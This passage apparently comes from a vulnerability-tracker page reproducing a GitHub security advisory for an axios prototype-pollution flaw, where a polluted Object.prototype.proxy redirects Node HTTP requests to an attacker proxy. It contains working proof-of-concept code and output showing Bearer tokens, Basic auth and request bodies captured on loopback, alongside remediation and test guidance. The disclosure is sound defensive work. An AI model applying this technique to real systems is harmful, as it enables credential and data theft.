authorization: req.headers.authorization || null,
host: req.headers.host || null,
body
});
res.writeHead(200, {'Content-Type': 'application/json'});
res.end(JSON.stringify({server: 'proxy'}));
});
});
Object.prototype.proxy = {
protocol: 'http',
host: '127.0.0.1',
port: proxy.address().port
};
const api = axios.create();
api.interceptors.request.use((config) => ({
...config,
headers: {
...config.headers,
'X-App': 'demo'
}
}));
try {
const url = `http://127.0.0.1:${target.address().port}/api/secret`;
const explicit = await api.get(url, {
headers: {Authorization: 'Bearer EXPLICIT_SECRET'}
});
proxyHits.length = 0;
targetHits.length = 0;
const basic = await api.get(url, {
auth: {username: 'svc-account', password: 'prod-secret'}
});
proxyHits.length = 0;
targetHits.length = 0;
const post = await api.post(url, {secret: 'request-body-secret'}, {
headers: {Authorization: 'Bearer EXPLICIT_SECRET'}
});
console.log(JSON.stringify({
explicitResponse: explicit.data,
basicResponse: basic.data,
postResponse: post.data,
targetHits,
proxyHits,
finalConfigPrototype:
Object.getPrototypeOf(post.config) === Object.prototype
? 'Object.prototype'
: 'other',
finalConfigHasOwnProxy:
Object.prototype.hasOwnProperty.call(post.config, 'proxy')
}, null, 2));
} finally {
delete Object.prototype.proxy;
await close(target);
await close(proxy);
}
Run:
npm ci
node poc.mjs
## Observed results
Representative observed output from local loopback testing:
{
"explicitResponse": {"server": "proxy"},
"basicResponse": {"server": "proxy"},
"postResponse": {"server": "proxy"},
"targetHits": [],
"proxyHits": [
{
"url": "http://127.0.0.1:40613/api/secret",
"method": "POST",
"authorization": "Bearer EXPLICIT_SECRET",
"host": "127.0.0.1:40613",
"body": "{\"secret\":\"request-body-secret\"}"
}
],
"finalConfigPrototype": "Object.prototype",
"finalConfigHasOwnProxy": false
}
Additional validation showed axios-generated Basic auth is also disclosed to the proxy:
{
"authorization": "Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ="
}
That value decodes to:
svc-account:prod-secret
Negative controls were also tested:
- No interceptor: target receives request, proxy receives none.
- Interceptor mutating and returning the same config object: proxy receives none.
- Own proxy: false: proxy receives none.
- Null-prototype clone interceptor: proxy receives none.
- Fetch adapter in Node with the same interceptor: proxy receives none.
## Suggested remediation
Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths.
A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should
also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain.
## Minimal regression test
Add an end-to-end Node HTTP adapter test that:
1. Starts a target server and attacker proxy on 127.0.0.1.
2. Sets Object.prototype.proxy to the attacker proxy.
3. Adds a request interceptor returning {...config, headers: {...config.headers}}.
4. Sends a request with an Authorization header.
5. Asserts the target server receives the request.
6. Asserts the attacker proxy receives no request.
7. Asserts the final config no longer exposes inherited proxy.
A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy.
## References / permalinks
- mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25
- Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199
- Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218
- dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48
- Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820
- Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144
- Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0.31.1"
},
{
"fixed": "0.33.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.2"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:40:07Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nAxios\u2019 Node.js HTTP adapter can route requests through an attacker-controlled proxy when `Object.prototype.proxy` is polluted and request configuration is materialized as a regular object before dispatch.\n\nRecent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as `{...config}` or `Object.assign({}, config)` converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads `config.proxy` through the prototype chain.\n\n## Impact\n\nIn a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.\n\nThe highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit `Authorization` headers, axios-generated Basic auth from `config.auth`, request method, absolute URL, `Host`, and request body content. The proxy can also return its own response to axios for the affected request.\n\nThis does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.\n\n## Affected Functionality\n\nAffected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit `adapter: \u0027http\u0027` usage.\n\nThe relevant configuration path is `config.proxy` in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:\n\n```js\napi.interceptors.request.use((config) =\u003e ({\n ...config,\n headers: {\n ...config.headers,\n \u0027X-App\u0027: \u0027demo\u0027\n }\n}));\n```\n\nUnaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted `Object.prototype.proxy`, an own `proxy: false` or safe own `proxy` value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted `Object.prototype` values from affecting config behavior.\n\n`lib/core/Axios.js` runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.\n\n`lib/core/dispatchRequest.js` accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.\n\n`lib/adapters/http.js` uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes `config.proxy` directly into `setProxy()`. If an interceptor returned a regular object, `config.proxy` can resolve to inherited `Object.prototype.proxy`.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from \u0027./index.js\u0027;\nimport http from \u0027node:http\u0027;\n\nfor (const key of [\n \u0027HTTP_PROXY\u0027, \u0027HTTPS_PROXY\u0027, \u0027ALL_PROXY\u0027,\n \u0027http_proxy\u0027, \u0027https_proxy\u0027, \u0027all_proxy\u0027,\n \u0027NO_PROXY\u0027, \u0027no_proxy\u0027\n]) {\n delete process.env[key];\n}\n\nconst listen = (handler) =\u003e new Promise((resolve, reject) =\u003e {\n const server = http.createServer(handler);\n server.once(\u0027error\u0027, reject);\n server.listen(0, \u0027127.0.0.1\u0027, () =\u003e resolve(server));\n});\n\nconst close = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst targetHits = [];\nconst proxyHits = [];\n\nconst target = await listen((req, res) =\u003e {\n targetHits.push(req.url);\n res.end(\u0027target\u0027);\n});\n\nconst proxy = await listen((req, res) =\u003e {\n let body = \u0027\u0027;\n req.on(\u0027data\u0027, (chunk) =\u003e body += chunk);\n req.on(\u0027end\u0027, () =\u003e {\n proxyHits.push({\n url: req.url,\n authorization: req.headers.authorization,\n host: req.headers.host,\n body\n });\n res.setHeader(\u0027content-type\u0027, \u0027application/json\u0027);\n res.end(\u0027{\"server\":\"proxy\"}\u0027);\n });\n});\n\nObject.prototype.proxy = {\n protocol: \u0027http\u0027,\n host: \u0027127.0.0.1\u0027,\n port: proxy.address().port\n};\n\nconst api = axios.create();\n\napi.interceptors.request.use((config) =\u003e ({\n ...config,\n headers: {\n ...config.headers,\n \u0027X-App\u0027: \u0027demo\u0027\n }\n}));\n\ntry {\n const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n const res = await api.post(\n url,\n {secret: \u0027request-body-secret\u0027},\n {headers: {Authorization: \u0027Bearer EXPLICIT_SECRET\u0027}}\n );\n\n console.log({\n response: res.data,\n targetHits,\n proxyHits,\n finalConfigHasOwnProxy: Object.hasOwn(res.config, \u0027proxy\u0027)\n });\n} finally {\n delete Object.prototype.proxy;\n await close(target);\n await close(proxy);\n}\n```\n\nExpected vulnerable result: the response comes from the proxy, `targetHits` is empty, and `proxyHits` contains the absolute URL, authorization header, host header, and request body.\n\n## Workarounds\n\nSet an own `proxy: false` on affected requests or on an axios instance when proxy support is not required.\n\nAvoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.\n\nUse the Node fetch adapter for affected requests where its behavior is compatible with the application.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n## Summary\n\n Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable\n interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy\n is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy.\n\n ## Impact\n\n In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a\n request interceptor that returns a plain object copy of the config.\n\n Verified local impact:\n\n - Authenticated request redirection to attacker-controlled proxy.\n - Disclosure of explicit Authorization headers.\n - Disclosure of axios-generated Basic auth headers from config.auth.\n - Disclosure of request metadata: method, absolute URL, Host header.\n - Disclosure of POST body content.\n\n This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext.\n\n ## Affected component\n\n The affected component is the Node.js HTTP adapter request path after request interceptors have run.\n\n The issue requires:\n\n - Node.js HTTP adapter usage.\n - A polluted Object.prototype.proxy.\n - A request interceptor that returns a plain object copy of the config.\n - No own proxy: false or safe own proxy property on the request config.\n\n ## Affected versions\n\n Confirmed affected for this specific hardening-bypass variant:\n\n - axios@1.15.2\n - axios@1.16.0\n\n axios@1.16.0 was the latest published version observed via npm view axios version during validation.\n\n Related older behavior observed during testing:\n\n - 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here.\n\n ## Root cause\n\n 1. Initial hardening\n\n Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n 2. Interceptor re-materialization\n\n Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null-\n prototype config back into a normal object with Object.prototype as its prototype.\n Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n 3. No post-interceptor re-hardening\n\n Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n 4. Prototype-chain read of proxy in the Node adapter\n\n The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can\n redirect the outgoing authenticated request through an attacker-controlled proxy.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n\n ## Why this is a security issue and not intended behavior\n\n Axios\u2019 threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The\n existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy.\n\n This behavior is therefore a bypass of axios\u2019 existing prototype-pollution hardening, not merely a generic \u201cpolluted process\u201d complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an\n immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency.\n\n ## Realistic threat model\n\n A realistic exploit chain is:\n\n 1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process.\n 2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy.\n 3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably.\n 4. The application sends an HTTP request with credentials or sensitive body data.\n 5. Axios routes that request through the inherited proxy configuration.\n\n This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor.\n\n ## Proof of concept\n\n Save as poc.mjs in the axios repository root:\n\n```js\n import axios from \u0027./index.js\u0027;\n import http from \u0027node:http\u0027;\n\n const proxyEnvKeys = [\n \u0027HTTP_PROXY\u0027, \u0027HTTPS_PROXY\u0027, \u0027ALL_PROXY\u0027,\n \u0027http_proxy\u0027, \u0027https_proxy\u0027, \u0027all_proxy\u0027,\n \u0027NO_PROXY\u0027, \u0027no_proxy\u0027\n ];\n\n for (const key of proxyEnvKeys) delete process.env[key];\n\n const listen = (handler) =\u003e new Promise((resolve, reject) =\u003e {\n const server = http.createServer(handler);\n server.once(\u0027error\u0027, reject);\n server.listen(0, \u0027127.0.0.1\u0027, () =\u003e resolve(server));\n });\n\n const close = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\n const targetHits = [];\n const proxyHits = [];\n\n const target = await listen((req, res) =\u003e {\n let body = \u0027\u0027;\n req.on(\u0027data\u0027, (chunk) =\u003e body += chunk);\n req.on(\u0027end\u0027, () =\u003e {\n targetHits.push({\n url: req.url,\n method: req.method,\n authorization: req.headers.authorization || null,\n body\n });\n res.writeHead(200, {\u0027Content-Type\u0027: \u0027application/json\u0027});\n res.end(JSON.stringify({server: \u0027target\u0027}));\n });\n });\n\n const proxy = await listen((req, res) =\u003e {\n let body = \u0027\u0027;\n req.on(\u0027data\u0027, (chunk) =\u003e body += chunk);\n req.on(\u0027end\u0027, () =\u003e {\n proxyHits.push({\n url: req.url,\n method: req.method,\n authorization: req.headers.authorization || null,\n host: req.headers.host || null,\n body\n });\n res.writeHead(200, {\u0027Content-Type\u0027: \u0027application/json\u0027});\n res.end(JSON.stringify({server: \u0027proxy\u0027}));\n });\n });\n\n Object.prototype.proxy = {\n protocol: \u0027http\u0027,\n host: \u0027127.0.0.1\u0027,\n port: proxy.address().port\n };\n\n const api = axios.create();\n\n api.interceptors.request.use((config) =\u003e ({\n ...config,\n headers: {\n ...config.headers,\n \u0027X-App\u0027: \u0027demo\u0027\n }\n }));\n\n try {\n const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n const explicit = await api.get(url, {\n headers: {Authorization: \u0027Bearer EXPLICIT_SECRET\u0027}\n });\n\n proxyHits.length = 0;\n targetHits.length = 0;\n\n const basic = await api.get(url, {\n auth: {username: \u0027svc-account\u0027, password: \u0027prod-secret\u0027}\n });\n\n proxyHits.length = 0;\n targetHits.length = 0;\n\n const post = await api.post(url, {secret: \u0027request-body-secret\u0027}, {\n headers: {Authorization: \u0027Bearer EXPLICIT_SECRET\u0027}\n });\n\n console.log(JSON.stringify({\n explicitResponse: explicit.data,\n basicResponse: basic.data,\n postResponse: post.data,\n targetHits,\n proxyHits,\n finalConfigPrototype:\n Object.getPrototypeOf(post.config) === Object.prototype\n ? \u0027Object.prototype\u0027\n : \u0027other\u0027,\n finalConfigHasOwnProxy:\n Object.prototype.hasOwnProperty.call(post.config, \u0027proxy\u0027)\n }, null, 2));\n } finally {\n delete Object.prototype.proxy;\n await close(target);\n await close(proxy);\n }\n```\n\n Run:\n```bash\n npm ci\n node poc.mjs\n```\n\n ## Observed results\n\n Representative observed output from local loopback testing:\n\n```text\n\n {\n \"explicitResponse\": {\"server\": \"proxy\"},\n \"basicResponse\": {\"server\": \"proxy\"},\n \"postResponse\": {\"server\": \"proxy\"},\n \"targetHits\": [],\n \"proxyHits\": [\n {\n \"url\": \"http://127.0.0.1:40613/api/secret\",\n \"method\": \"POST\",\n \"authorization\": \"Bearer EXPLICIT_SECRET\",\n \"host\": \"127.0.0.1:40613\",\n \"body\": \"{\\\"secret\\\":\\\"request-body-secret\\\"}\"\n }\n ],\n \"finalConfigPrototype\": \"Object.prototype\",\n \"finalConfigHasOwnProxy\": false\n }\n\n Additional validation showed axios-generated Basic auth is also disclosed to the proxy:\n\n {\n \"authorization\": \"Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ=\"\n }\n\n```\n\n That value decodes to:\n\n svc-account:prod-secret\n\n Negative controls were also tested:\n\n - No interceptor: target receives request, proxy receives none.\n - Interceptor mutating and returning the same config object: proxy receives none.\n - Own proxy: false: proxy receives none.\n - Null-prototype clone interceptor: proxy receives none.\n - Fetch adapter in Node with the same interceptor: proxy receives none.\n\n ## Suggested remediation\n\n Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths.\n\n A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should\n also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain.\n\n ## Minimal regression test\n\n Add an end-to-end Node HTTP adapter test that:\n\n 1. Starts a target server and attacker proxy on 127.0.0.1.\n 2. Sets Object.prototype.proxy to the attacker proxy.\n 3. Adds a request interceptor returning {...config, headers: {...config.headers}}.\n 4. Sends a request with an Authorization header.\n 5. Asserts the target server receives the request.\n 6. Asserts the attacker proxy receives no request.\n 7. Asserts the final config no longer exposes inherited proxy.\n\n A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy.\n\n ## References / permalinks\n\n - mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n - Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199\n - Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n - dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n - Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n - Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144\n - Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135\n\u003c/details\u003e",
"id": "GHSA-gcfj-64vw-6mp9",
"modified": "2026-07-20T22:40:07Z",
"published": "2026-07-20T22:40:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11001"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.33.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.